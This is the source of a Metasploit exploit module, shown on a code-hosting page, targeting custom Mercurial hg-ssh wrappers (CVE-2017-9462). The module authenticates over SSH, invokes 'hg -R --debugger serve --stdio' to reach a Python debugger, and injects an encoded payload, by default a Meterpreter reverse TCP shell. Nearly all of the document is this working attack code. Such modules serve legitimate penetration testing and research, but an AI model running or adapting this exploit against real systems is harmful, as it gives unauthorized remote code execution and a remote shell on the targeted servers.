Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/mercurial_ssh_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SSH910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Mercurial Custom hg-ssh Wrapper Remote Code Exec',15'Description' => %q{16This module takes advantage of custom hg-ssh wrapper implementations that don't17adequately validate parameters passed to the hg binary, allowing users to trigger a18Python Debugger session, which allows arbitrary Python code execution.19},20'License' => MSF_LICENSE,21'Author' => [22'claudijd',23],24'References' => [25[ 'CVE', '2017-9462' ],26['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29']27],28'DefaultOptions' => {29'Payload' => 'python/meterpreter/reverse_tcp'30},31'Platform' => ['python'],32'Arch' => ARCH_PYTHON,33'Targets' => [ ['Automatic', {}] ],34'Privileged' => false,35'DisclosureDate' => '2017-04-18',36'DefaultTarget' => 0,37'Notes' => {38'Stability' => [CRASH_SAFE],39'Reliability' => [REPEATABLE_SESSION],40'SideEffects' => []41}42)43)4445register_options(46[47Opt::RHOST(),48Opt::RPORT(22),49OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),50OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),51]52)5354register_advanced_options(55[56OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),57OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])58]59)60end6162def rhost63datastore['RHOST']64end6566def rport67datastore['RPORT']68end6970def username71datastore['USERNAME']72end7374def ssh_priv_key75File.read(datastore['SSH_PRIV_KEY_FILE'])76end7778def exploit79ssh_options = ssh_client_defaults.merge({80auth_methods: ['publickey'],81key_data: [ ssh_priv_key ],82port: rport83})8485ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']8687print_status("#{rhost}:#{rport} - Attempting to login...")8889begin90ssh = nil91::Timeout.timeout(datastore['SSH_TIMEOUT']) do92ssh = Net::SSH.start(rhost, username, ssh_options)93end94rescue Rex::ConnectionError95return96rescue Net::SSH::Disconnect, ::EOFError97print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"98return99rescue ::Timeout::Error100print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"101return102rescue Net::SSH::AuthenticationFailed103print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."104rescue Net::SSH::Exception => e105print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"106return107end108# rubocop:disable Lint/ShadowingOuterLocalVariable109if ssh110print_good('SSH connection is established.')111ssh.open_channel do |ch|112ch.exec 'hg -R --debugger serve --stdio' do |ch, _success|113ch.on_extended_data do |ch, _type, data|114if data.match(/entering debugger/)115print_good("Triggered Debugger (#{data})")116ch.send_data "#{payload.encoded}\n"117else118print_error("Unable to trigger debugger (#{data})")119end120end121end122end123# rubocop:enable Lint/ShadowingOuterLocalVariable124begin125ssh.loop unless session_created?126rescue Errno::EBADF => e127elog(e)128end129end130end131end132133134